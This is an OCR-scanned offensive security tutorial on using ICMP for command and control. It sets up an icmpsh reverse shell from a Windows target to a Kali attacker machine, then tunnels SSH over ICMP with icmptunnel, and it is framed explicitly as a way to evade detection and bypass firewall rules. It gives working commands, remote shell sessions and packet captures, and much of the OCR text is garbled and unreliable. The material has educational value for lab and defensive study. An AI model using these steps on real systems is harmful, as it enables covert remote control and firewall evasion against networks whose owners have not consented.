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Brief Summary on working of ICMP Protocol

The Internet Control Message Protocol (ICMP) is a supporting protocol in the Internet protocol suite. It is
used by network devices, including routers, to send error messages and operational information that
indicate that a requested service is not available or that a host or router could not be reached.

Itis layer 3, i.e., the network layer protocol used by the ping command for sending a message through an
ICMP payload, which is encapsulated with an IP Header Packet. According to MTU, the size of the ICMP
packet cannot be greater than 1500 bytes.

ICMP packet at Network layer

IP header ICMP header ICMP payload size MTU (1500)

20 bytes 8 bytes 1472 bytes (maximum) 20+ 8 + 1472 = 1500

A ping command sends an ICMP echo request to the target host. The target host responds with an echo
Reply which means the target host is alive.

Read more from here

Command & Control via ICMP Protocol

In our many publications, we had discussed over C2-channel who is additionally acknowledged as
command & control so you may find out it here. Although you are pleased to learn how to use ICMP
protocol as a command & control channel between this thesis.

A cyber-war is strolling of intruders and security researchers. Therefore, we need to hold a partial backup
plan. As we all know, the company has grown to be smarter. They understand that such a type of attack
is being observed after achieving the TCP reverse connection of the machine.

Thus, we come up with an ICMP secret shell and use icmpsh as a command and control tool.

REQUIREMENT

e Attacker Machine or C2-channel:192.168.1.108 (Kali Linux)
e Host machine:192.168.1.106 (Windows 10)

icmpsh: C2-channel & Its Installation

icmpsh is a simple reverse ICMP shell with a win32 slave and a POSIX compatible master in C, Perl, or
Python. The main advantage it has over similar open-source tools is that it does not require administrative
privileges to run on the target machine.

The tool is clean, easy, and portable. The slave (client) runs on the target Windows machine. It is written
in C and works on Windows only, whereas the master (server) can run on any platform on the attacker
machine as it has been implemented in C and Perl by Nico Leidecker, and later it gets ported into Python
too.
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It is very easy to install and use as a c2-channel. Turn the attacker machine into an icmpsh machine and
download icmpsh from Github.

git clone https://github.com/inquisb/icmpsh.git

0s://github.com/inquisb/icmpsh.git

Run icmpsh as Master (Kali Linux)

Once the downloads have been completed, you can use the following command to run the master. The
most important step before taking action is to disable ping reply on your machine. This prevents the kernel
from responding to ping packets itself.

cd icmpsh/

sysctl -w net.ipv4.icmp_echo_ignore_all=1
Is

.J/icmpsh_m.py 192.168.1.108 192.168.1.106

syntax: ./icmpsh_m.py <attacker’s-IP> <target-IP>

:~# cd icmpsh/

:~/icmpsh# sysctl -w net.ipv4.icmp echo ignore all=1
net.ipv4.icmp echo ore all =1

:~/1cmpsh# 1s

icmpsh.exe icmpsh-m.pl icmpsh-s.c run.sh
icmpsh-m.c dicmpsh_m.py README.md
:~/icmpsh# ./icmpsh m.py 192.

Run icmpsh as slave (Windows 10)

Now again install icmpsh tool inside the host machine for running as a slave and the user running the slave
on the target system does not require administrative privileges.

And then run the following command:

syntax: icmpsh.exe -t <Kali IP>

icmpsh.exe -t 192.168.1.108
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-t 192.168.1.188

Once the above command is executed on the host machine, the intruder will have the reverse shell of the
machine running as a slave. You can observe from the image given below that the master machine controls
the slave machine by spawning its own prompt of command.

.J/icmpsh_m.py 192.168.1.108 192.168.1.106
ipconfig
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ficmpsh m.py 192.168.1.188 192.168.1.106
n 18.8.17134.706]
ation. A1l rights

Windows IP Configuration

Ethernet adapter Ethernet:

Connection-specific DNS Suffix . :
Link- Ll IPv6 Address . . . . . : fe 13d:T00O7:4
= - lHE.lGu.L.luﬁ

subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter VMware Network Adapter VYMnetl:

Connection-specific DNS Suffix
:dc91:293d:2T17:b3b4%13

-“-55.&

255.255.

W r:I \l’f
Ethernet adapter Bluetooth Network Connection 2:

Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix

Now as we said that with the help ping, icmpsh will get the host machine’s reverse shell over the icmp
channel. Therefore, | simply trigger a command and use Wireshark to capture its packet to ensure the
backend process.
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Great!! This works exactly as we assumed and the data is transmitted over the network layer with the
help of PING request/reply packets, thus no service or port is required. The traffic is undetected by proxy-
based firewalls and this may bypass firewall rules.

| |ip,addr==192.168,1.108 [X] '] Expression.. +

No. Time Source Destination Protocol Length Info
202 4.338565051 192.168.1.108 192.168.1.106 ICMP 42 Echo (ping) reply
207 4.540304269 192.168.1.106 192.168.1.108 ICMP 60 Echo (ping) request
208 4.540992369 192.168.1.168 192.168.1.106 ICMP 42 Echo (ping) reply
218 4.741733476 192.168.1.186 192.168.1.108 ICMP 60 Echo (ping) request
219 4.742043584 192.168.1.168 192.168.1.106 ICMP 49 Echo (ping) reply

I 228 4.942906282 192.168.1.106 192.168.1.108 ICMP 93 Echo (ping) request
229 4.943241919 192.168.1.108 192.168.1.106 ICMP 42 Echo (ping) reply
246 5.144275592 192.168.1.106 192.168.1.108 ICMP 60 Echo (ping) request
247 5.144961576 192.168.1.108 192.168.1.106 ICMP 42 Echo (ping) reply
259 5.346259858 192.168.1.106 192.168.1.108 ICMP 60 Echo (ping) request
260 5.346522370 192.168.1.168 192.168.1.106 ICMP 42 Echo (ping) reply
261 5.548219298 192.168.1.106 192.168.1.108 ICMP 60 Echo (ping) request ——
262 5.548970140 192.168.1.168 192.168.1.106 ICMP 42 Echo (ping) reply
263 5.750030586 192.168.1.166 192.168.1.108 ICMP 60 Echo (ping) request
264 5.750473524 192.168.1.168 192.168.1.106 ICMP 42 Echo (ping) reply
297 5.951978831 192.168.1.106 192.168.1.108 ICMP 60 Echo (ping) request
298 5.952233843 192.168.1.108 192.168.1.106 ICMP 42 Echo (ping) reply
306 6.153284791 192.168.1.106 192.168.1.188 ICMP 60 Echo (ping) request
307 6.153556497 192.168.1.108 192.168.1.106 ICMP 42 Echo (ping) reply

i = v -

Type: 8 (Echo (ping) request)

Code: A
00 Oc 29 9d le 3c 8c ec 4b 71
00 4f 16 84 @0 80 ff @1 21 83
81 6c 08 @8 26 1f 00 @1 086 %a
Ba 64 65 73 6b 74 6F 70 2d 6e
5c 72 61 6a ©d P@a 0d Pa 43 3a
5c 72 61 6a 5c 44 65 73 6b 74

ICMP Tunneling

cd
co

71
5c

}oo< Kq E
0 ! bl
1l & whoami
desktop -ngm6das
raj C:\Users

raj\Des ktop=>

Frame 228: 93 bytes on wire (744 bits), 93 bytes captured (744 bits) on interface ©
Ethernet II, Src: Dell_71:c5:de (8c:ec:4b:71:c5:de), Dst: Vmware_9d:1e:3c (00:0c:29:9d:1e:3c)
Internet Protocol Version 4, Src: 192.168.1.106, Dst: 192.168.1.108
Internet Control Message Protocol

An ICMP tunnel is an approach that works by tunnelling TCP connections over ICMP packets. Here we will
access an ssh session that will be encapsulated by ICMP packets. Hence, a TCP connection will be
established at layer 3, i.e., the network layer, which will be encapsulated as an ICMP payload, and this

could be helpful to bypass firewall rules.

REQUIREMENT

Server Machine

e ens33:192.168.1.108

e tun0:10.0.0.1
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Client Machine

e eth0:192.168.1.111
e tun0:10.0.0.2

icmptunnel is a tool to tunnel IP traffic within ICMP echo request and response (ping) packets. It’s
intended for bypassing firewalls in a semi-covert way, for example when pivoting inside a network where
ping is allowed. It might also be useful for egress from a corporate network to the Internet, although it is
quite common for ICMP echo traffic to be filtered at the network perimeter.

While there are a couple of existing tools which implement this technique, icmptunnel provides a more
reliable protocol and a mechanism for tunnelling through stateful firewalls and NAT.

Configure ICMP over Server Machine (Target)

Download and install icmptunnel on the host machine and compile the file as followed in the image given
below

git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel/

Is

make

root@ubuntu:~# git clone https://github.com/jamesbarlow/icmptunnel.git
Cloning into 'icmptunnel'...

>: Enumerating objects: 4

: Total 42 (« | euser (delta 0), pack-reused 42
Unpacking objects: '

root@ubuntu:~# 1s

icmptunnel root.txt
@ubuntu:~# cd icmptunnel/

root@ubuntu:~/icmptunnel# 1s

CHANGES LICENSE Makefile ar

root@ubuntu:~/icmptunnel# make

1 README.md

First, disable the ICMP echo reply on both the client and server. This foils the kernel from responding to
ping packets itself.

[ echo 1 > /proc/sys/net/ipva4/icmp_echo_ignore_all ]

On the server-side (host machine), start icmptunnel in server mode, and assign an IP address to the new
tunnel interface.

.Jicmptunnel -s

Ctrlz

bg

/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
ifconfig
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root@ubuntu:~/icmptunnel# ./icmptunnel -s

opened tunnel device:

AT

[1]+ Stopped

tunod

./icmptunne

root@ubuntu:~/icmptunnel# bg

[1]+ ./icmptunnel

Q

1 -s

ens33: flags=4163<UP,BROA
3.1.108
ineto fe80::5184:bba3:897a:442b prefixlen
00:0c:29:1a:35:2d

lo:

t@ubuntu:~
t@ubuntu:~

inet| 192.16

ether
RX
RX
TX
TX

errors @
packets 8962
errors @

flags=73<UP, LOOPBACK , RUNNING>

packets 85400
dropped 8
bytes 6

DC

2L 2LLC PLL
LI £ID e £2D

netm

txqueuelen 1060

'icmptunnel# /fsbinf/ifconfig tun® 16.0.0.1 netmask 255.255.
icmptunnel# ifconfig
T,RUNNING,MULTICAST=

mtu 1500

55.0

broadcast 192.168.1.255

64 scopeld 0x20
(Ethernet)

bytes 69070132 (69.0 MB)

dropped © overruns 0

verruns ©
9630 (619.6 KB)

mtu 65536

carrier @

frame @

collisions @

<link=>

inet 127.0.0.1

netmask 255.0.0.0

inet6

::1 prefixlen 128

scopeld @xl10<host=

tun@: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICA®

loop txqueuelen 1000

RX 2226
RX
TX
TX

packets

erro i)
packets 2226
errors 0

inet 10.0.08.1

(Local Loopback)

bytes 117688 (117.6 KB)

dropped 0
bytes
dropped ©

rruns 0
688 (117.6 KB)
overruns 0

TEL TJELL G

netmask 255.255.255

carrier @

frame @

collisions ©

mtu 1500
tination 10.0.8.1

inet6 fe80::525b:c6Ta:cf55:7401

unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00

RX
RX
TX
TX

packets @
errors 0
packets 5
errors 0

bytes @ (0.0 B)
dropped @ overruns
bytes 240 (240.0 B)
dropped 8 overruns @

prefixlen 64

8 frame @

carrier 0

scopeid 0x20<1link=

collisions @

txqueuelen 500

Configure ICMP tunnel over Client Machine (Intruder)

Similarly, repeat the same process over the intruder machine to install icmptunnel for peer-to-peer
connection.

git clone https://github.com/jamesbarlow/icmptunnel.git J

First, compile it and then disable ICMP echo reply to avoid kernel from responding to ping packets itself.

~# git ¢
ing into 'ic
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/cd icmptunnel \

make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
.Jicmptunnel 192.168.1.108

Ctrl z

bg

/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0

_/

mptunnel# make
um. ¢
ent-handlers.c

‘icmp_echo ignore all

[1]+ ./icmptunnel 192.16
:~/icmptunnel#

Connect SSH Over ICMP

You should have a point-to-point tunnel at this point through ICMP packets. There is 10.0.0.1 on the
server-side and 10.0.0.2 on the client-side. Try to connect to the server via SSH a tcp protocol on the client:

ssh raj@10.0.0.1
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(10.0.0.1)" . ) .
+fmLRZ ' 1 IGL10.
cting ! =
SA }

ntation: http
ment : http
: http

Activate at:

3 2019 from 192.16

raj@ubuntu: Ls
Desktop dict.txt Documents Downloads examples.desktop dignite Music no

The icmp tunnel is connected between server and client at the initial phase, which could be seen in the
following image where we captured the traffic flowing between server and client with the help of

Wireshark.
[ | @ B[ XE QA « » Je»= = @ aif
|ip.addr ==192.168.1.108 £a

No. Time Source Destination Protoc * Length Info
36 0.097666160 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
82 1.099716019 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
152 2.101485278 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
211 3.103132246 192.168.1.111 192.168.1.108 ICMP 47 Echo (ping) request
212 3.103200674 192.168.1.111 192.168.1.108 ICMP 47 Echo (ping) request
213 3.103686272 192.168.1.1608 192.168.1.111 ICMP 60 Echo (ping) reply
262 4.105629673 192.168.1.111 192.168.1.108 ICMP 47 Echo (ping) request
357 5.106334400 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
471 6.107848480 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
608 7.110050131 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
670 8.112201722 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
671 8.112236561 192.168.1.111 192.168.1.168 ICMP 47 Echo (ping) request
672 8.112413704 192.168.1.1608 192.168.1.111 ICMP 60 Echo (ping) reply
TEMN N A4 AASxnTN ENalal E W -X21 - - 444 E Natal E W -2 - E Nalsl TS RAM AT Fabhao f R e +

Frame 36: 47 bytes on wire (376 bits), 47 bytes captured (376 bits) on interface ®
Ethernet II, Src: Vmware_9d:1e:3c (00:8c:29:9d:1e:3c), Dst: Vmware_1a:35:2d (@0:8c:29:1a
Internet Protocol Version 4, Src: 192.168.1.111, Dst: 192.168.1.108

Internet Control Message Protocol

* v v w
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Every traffic is ICMP. The packet HTTP / IP can be regarded as part of the ICMP payload. On the internet,
HTTP/IP packets are accelerated. Notice in what way the source IP has been impersonated because of
NAT. Thus, the traffic will not go on the transport layer for connecting SSH via port 22.

[ [ip.addr == 192.168.1.108 || http <a B -| Expres:
Mo. Time Source Destination Protocol Length Info
579 4.073806105 192.168.1.108 192.168.1.111 ICMP 639 Echo (ping) reply id=ex6fbf, seq=6
580 4.074207419 192.168.1.111 192.168.1.108 ICMP 99 Echo (ping) request id=8x6fbf, seq=6:
581 4.136989591 192.168.1.108  192.168.1.111 ICMP 191 Echo (ping) reply id=ex6fbf, seqg=6:
592 4.179957837 192.168.1.111 192.168.1.108 ICMP 99 Echo (ping) request 1id=0x6fbf, seg=6
40 4 302 GET /c/msdownload/updat rs/2019/

6 .450798391  192.168.1.109 152.195.11.6 HTTP
] Lalal (5 68.1.109 HTTP [TC jment 1

HTTP [ tor f aptu

e/othe
t

tured] C
C ic ent not c ed] C
GET /c/msdownload/update/others/2819/

654 4.599967269

4 - - - - -
4.835063578 . . . . GET /c/msdownload/update/others/2819/
4.982759459 . . . 1. GET /c/msdownload/update/others/2019/
707 5.056744617 152.195.11.6 192.168.1.109 HTTP 3615 HTTP/1.1 280 0K (application/vnd.ms-
709 5.059908617 192.168.1.109 152.195.11.6 HTTP 302 GET /c/msdownload/update/others/2019/
718 5.137206754 152.195.11.6 192.168.1.1089 HTTP 5372 HTTP/1.1 200 0K (application/vnd.ms-
720 5.137831198 192.168.1.109 15%s 195414\ G HTTP 302 GET /d/msdownload/update/others/20819/
721 5.181641097 192.168.1.111 192.168.1.108 ICMP 47 Echo (ping) request id=8x6fbf, seq=6:
737 5.286814656 192.168.1.109 152.195.11.6 HTTP 302 GET fc/msdownload/update/others/2019/
766 5.522497810 192.168.1.111 192.168.1.108 ICMP 135 Echo (ping) request id=8x6fbf, seq=6:
FTeT O CANTICC ATN ANN A0 A ENaY:1 AN Ach A4 ERE R TRAN ANE Feaka A R | P . B EEVL PO o B . —
®
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